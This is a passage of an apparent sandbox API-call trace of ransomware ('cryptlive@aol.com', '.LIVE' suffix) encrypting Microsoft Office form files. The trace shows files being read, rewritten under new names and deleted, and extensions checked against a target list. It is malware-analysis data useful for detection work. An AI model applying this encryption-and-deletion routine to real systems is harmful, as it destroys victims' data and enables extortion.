nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0160.911] SetEndOfFile (hFile=0x3a0) returned 1 [0160.912] CloseHandle (hObject=0x3a0) returned 1 [0160.912] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.912] SetEndOfFile (hFile=0x3c4) returned 1 [0160.914] CloseHandle (hObject=0x3c4) returned 1 [0160.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg")) returned 1 [0160.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.915] lstrlenW (lpString=".doc") returned 4 [0160.915] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.915] lstrlenW (lpString=".docx") returned 5 [0160.915] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0160.915] lstrlenW (lpString=".pdf") returned 4 [0160.916] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.916] lstrlenW (lpString=".xls") returned 4 [0160.916] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.916] lstrlenW (lpString=".xlsx") returned 5 [0160.916] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0160.916] lstrlenW (lpString=".ppt") returned 4 [0160.916] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.916] lstrlenW (lpString=".zip") returned 4 [0160.916] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.916] lstrlenW (lpString=".rar") returned 4 [0160.916] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.916] lstrlenW (lpString=".bz2") returned 4 [0160.916] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.916] lstrlenW (lpString=".7z") returned 3 [0160.916] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.916] lstrlenW (lpString=".dbf") returned 4 [0160.916] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.916] lstrlenW (lpString=".1cd") returned 4 [0160.916] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.916] lstrlenW (lpString=".jpg") returned 4 [0160.916] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.916] lstrlenW (lpString=".doc") returned 4 [0160.916] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0160.916] lstrlenW (lpString=".docx") returned 5 [0160.916] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0160.916] lstrlenW (lpString=".pdf") returned 4 [0160.916] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0160.916] lstrlenW (lpString=".xls") returned 4 [0160.916] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0160.916] lstrlenW (lpString=".xlsx") returned 5 [0160.917] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0160.917] lstrlenW (lpString=".ppt") returned 4 [0160.917] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0160.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.917] lstrlenW (lpString=".zip") returned 4 [0160.917] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0160.917] lstrlenW (lpString=".rar") returned 4 [0160.917] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0160.917] lstrlenW (lpString=".bz2") returned 4 [0160.917] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0160.917] lstrlenW (lpString=".7z") returned 3 [0160.917] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0160.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.917] lstrlenW (lpString=".dbf") returned 4 [0160.917] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0160.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.917] lstrlenW (lpString=".1cd") returned 4 [0160.917] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0160.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0160.917] lstrlenW (lpString=".jpg") returned 4 [0160.917] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0160.917] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.918] lstrlenW (lpString="SECURL.ICO") returned 10 [0160.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.258] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1078) returned 1 [0161.258] CloseHandle (hObject=0x1dc) returned 1 [0161.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico")) returned 0x20 [0161.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.259] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.259] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0161.260] GetLastError () returned 0x0 [0161.260] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x436, lpOverlapped=0x0) returned 1 [0161.361] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x440, lpOverlapped=0x0) returned 1 [0161.362] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.362] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0161.362] SetEndOfFile (hFile=0x3a0) returned 1 [0161.362] CloseHandle (hObject=0x3a0) returned 1 [0161.362] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.362] SetEndOfFile (hFile=0x1dc) returned 1 [0161.364] CloseHandle (hObject=0x1dc) returned 1 [0161.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico")) returned 1 [0161.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.444] lstrlenW (lpString=".doc") returned 4 [0161.444] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.444] lstrlenW (lpString=".docx") returned 5 [0161.444] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.444] lstrlenW (lpString=".pdf") returned 4 [0161.444] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.444] lstrlenW (lpString=".xls") returned 4 [0161.444] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.444] lstrlenW (lpString=".xlsx") returned 5 [0161.444] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.444] lstrlenW (lpString=".ppt") returned 4 [0161.444] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.444] lstrlenW (lpString=".zip") returned 4 [0161.444] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.445] lstrlenW (lpString=".rar") returned 4 [0161.445] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.445] lstrlenW (lpString=".bz2") returned 4 [0161.445] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.445] lstrlenW (lpString=".7z") returned 3 [0161.445] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.445] lstrlenW (lpString=".dbf") returned 4 [0161.445] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.445] lstrlenW (lpString=".1cd") returned 4 [0161.445] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.445] lstrlenW (lpString=".jpg") returned 4 [0161.445] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.445] lstrlenW (lpString=".doc") returned 4 [0161.445] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.445] lstrlenW (lpString=".docx") returned 5 [0161.445] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.445] lstrlenW (lpString=".pdf") returned 4 [0161.445] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.445] lstrlenW (lpString=".xls") returned 4 [0161.445] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.445] lstrlenW (lpString=".xlsx") returned 5 [0161.445] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.445] lstrlenW (lpString=".ppt") returned 4 [0161.445] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.445] lstrlenW (lpString=".zip") returned 4 [0161.445] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.446] lstrlenW (lpString=".rar") returned 4 [0161.446] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.446] lstrlenW (lpString=".bz2") returned 4 [0161.446] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.446] lstrlenW (lpString=".7z") returned 3 [0161.446] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.446] lstrlenW (lpString=".dbf") returned 4 [0161.446] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.446] lstrlenW (lpString=".1cd") returned 4 [0161.446] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0161.446] lstrlenW (lpString=".jpg") returned 4 [0161.446] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.446] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.446] lstrlenW (lpString="SMSS.ICO") returned 8 [0161.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.447] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2238) returned 1 [0161.447] CloseHandle (hObject=0x3c4) returned 1 [0161.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico")) returned 0x20 [0161.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.448] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.448] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.449] GetLastError () returned 0x0 [0161.449] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x8be, lpOverlapped=0x0) returned 1 [0161.465] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0161.466] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.466] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0161.466] SetEndOfFile (hFile=0x384) returned 1 [0161.466] CloseHandle (hObject=0x384) returned 1 [0161.466] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.466] SetEndOfFile (hFile=0x3c4) returned 1 [0161.468] CloseHandle (hObject=0x3c4) returned 1 [0161.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico")) returned 1 [0161.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.516] lstrlenW (lpString=".doc") returned 4 [0161.516] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.516] lstrlenW (lpString=".docx") returned 5 [0161.516] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0161.516] lstrlenW (lpString=".pdf") returned 4 [0161.516] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.516] lstrlenW (lpString=".xls") returned 4 [0161.516] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.516] lstrlenW (lpString=".xlsx") returned 5 [0161.516] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0161.516] lstrlenW (lpString=".ppt") returned 4 [0161.516] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.516] lstrlenW (lpString=".zip") returned 4 [0161.516] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.517] lstrlenW (lpString=".rar") returned 4 [0161.517] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.517] lstrlenW (lpString=".bz2") returned 4 [0161.517] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.517] lstrlenW (lpString=".7z") returned 3 [0161.517] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.517] lstrlenW (lpString=".dbf") returned 4 [0161.517] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.517] lstrlenW (lpString=".1cd") returned 4 [0161.517] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.517] lstrlenW (lpString=".jpg") returned 4 [0161.517] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.518] lstrlenW (lpString=".doc") returned 4 [0161.518] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.518] lstrlenW (lpString=".docx") returned 5 [0161.518] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0161.518] lstrlenW (lpString=".pdf") returned 4 [0161.518] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.518] lstrlenW (lpString=".xls") returned 4 [0161.518] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.518] lstrlenW (lpString=".xlsx") returned 5 [0161.518] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0161.518] lstrlenW (lpString=".ppt") returned 4 [0161.518] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.518] lstrlenW (lpString=".zip") returned 4 [0161.518] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.518] lstrlenW (lpString=".rar") returned 4 [0161.518] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.518] lstrlenW (lpString=".bz2") returned 4 [0161.518] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.518] lstrlenW (lpString=".7z") returned 3 [0161.518] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.518] lstrlenW (lpString=".dbf") returned 4 [0161.518] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.518] lstrlenW (lpString=".1cd") returned 4 [0161.518] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0161.519] lstrlenW (lpString=".jpg") returned 4 [0161.519] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.519] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.519] lstrlenW (lpString="TASKACCL.ICO") returned 12 [0161.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0161.519] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1078) returned 1 [0161.519] CloseHandle (hObject=0x1b8) returned 1 [0161.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico")) returned 0x20 [0161.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0161.520] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.520] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.521] GetLastError () returned 0x0 [0161.521] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x436, lpOverlapped=0x0) returned 1 [0161.549] WriteFile (in: hFile=0x314, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x440, lpOverlapped=0x0) returned 1 [0161.550] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.551] WriteFile (in: hFile=0x314, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.551] SetEndOfFile (hFile=0x314) returned 1 [0161.551] CloseHandle (hObject=0x314) returned 1 [0161.551] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.551] SetEndOfFile (hFile=0x1b8) returned 1 [0161.553] CloseHandle (hObject=0x1b8) returned 1 [0161.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", 